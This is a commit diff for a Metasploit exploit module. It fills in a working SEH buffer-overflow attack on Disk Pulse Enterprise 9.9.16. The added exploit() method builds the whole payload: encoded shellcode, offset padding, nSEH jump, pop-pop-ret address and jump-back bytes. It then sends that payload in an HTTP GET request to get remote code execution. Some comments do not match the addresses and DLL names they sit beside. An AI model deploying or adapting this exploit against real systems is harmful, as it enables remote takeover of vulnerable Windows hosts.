@@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Exploit ::Remote ::Egghunter
13
12
include Msf ::Exploit ::Remote ::Seh
14
13
15
14
def initialize ( info = { } )
@@ -24,7 +23,7 @@ def initialize(info = {})
24
23
'License' => MSF_LICENSE ,
25
24
'Author' =>
26
25
[
27
- 'Chance Johnson' , # module - hackback.sh - [email protected]
26
+ 'Chance Johnson' , # msf module - [email protected]
28
27
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
29
28
] ,
30
29
'References' =>
@@ -38,19 +37,20 @@ def initialize(info = {})
38
37
'Platform' => 'win' ,
39
38
'Payload' =>
40
39
{
40
+ 'EncoderType' => "alpha_mixed" ,
41
41
'BadChars' => "\x00 \x0a \x0d \x26 "
42
42
} ,
43
43
'Targets' =>
44
44
[
45
45
[ 'Disk Pulse Enterprise 9.9.16' ,
46
46
{
47
- 'Ret' => 0x10013AAA , # pop ebp # pop ebx # ret 0x04 - libspp .dll
48
- 'Offset' => 12600
47
+ 'Ret' => 0x1013ADDD , # POP EDI POP ESI RET 04 -- libpal .dll
48
+ 'Offset' => 2492
49
49
}
50
50
] ,
51
51
] ,
52
52
'Privileged' => true ,
53
- 'DisclosureDate' => 'Oct 03 2016 ' ,
53
+ 'DisclosureDate' => 'Aug 25 2017 ' ,
54
54
'DefaultTarget' => 0 ) )
55
55
56
56
register_options ( [ Opt ::RPORT ( 80 ) ] , self . class )
@@ -71,7 +71,28 @@ def check
71
71
end
72
72
73
73
def exploit
74
-
75
-
74
+ connect
75
+
76
+ print_status ( "Generating exploit..." )
77
+ exp = payload . encoded
78
+ exp << 'A' * ( target [ 'Offset' ] - payload . encoded . length ) # buffer of trash until we get to offset
79
+ exp << "\xEB \x10 \x90 \x90 " # nSEH - jmp short 0x12 down to next record
80
+ exp << "\xDD \xAD \x13 \x10 " # SEH - pop ebx, pop ecx, retn - libspp.dll
81
+ exp << "\x90 " * 10
82
+ exp << "\xE9 \x25 \xBF \xFF \xFF " # jmp 0xffffbf2a - jmp back to shellcode start
83
+ exp << 'B' * ( 5000 - exp . length )
84
+
85
+ print_status ( "Sending exploit." )
86
+
87
+ res = send_request_cgi ( {
88
+ 'uri' => '/../' + exp ,
89
+ 'method' => 'GET' ,
90
+ 'host' => '4.2.2.2' ,
91
+ 'connection' => 'keep-alive'
92
+ } )
93
+
94
+ handler
95
+ disconnect
96
+
76
97
end
77
98
end
0 commit comments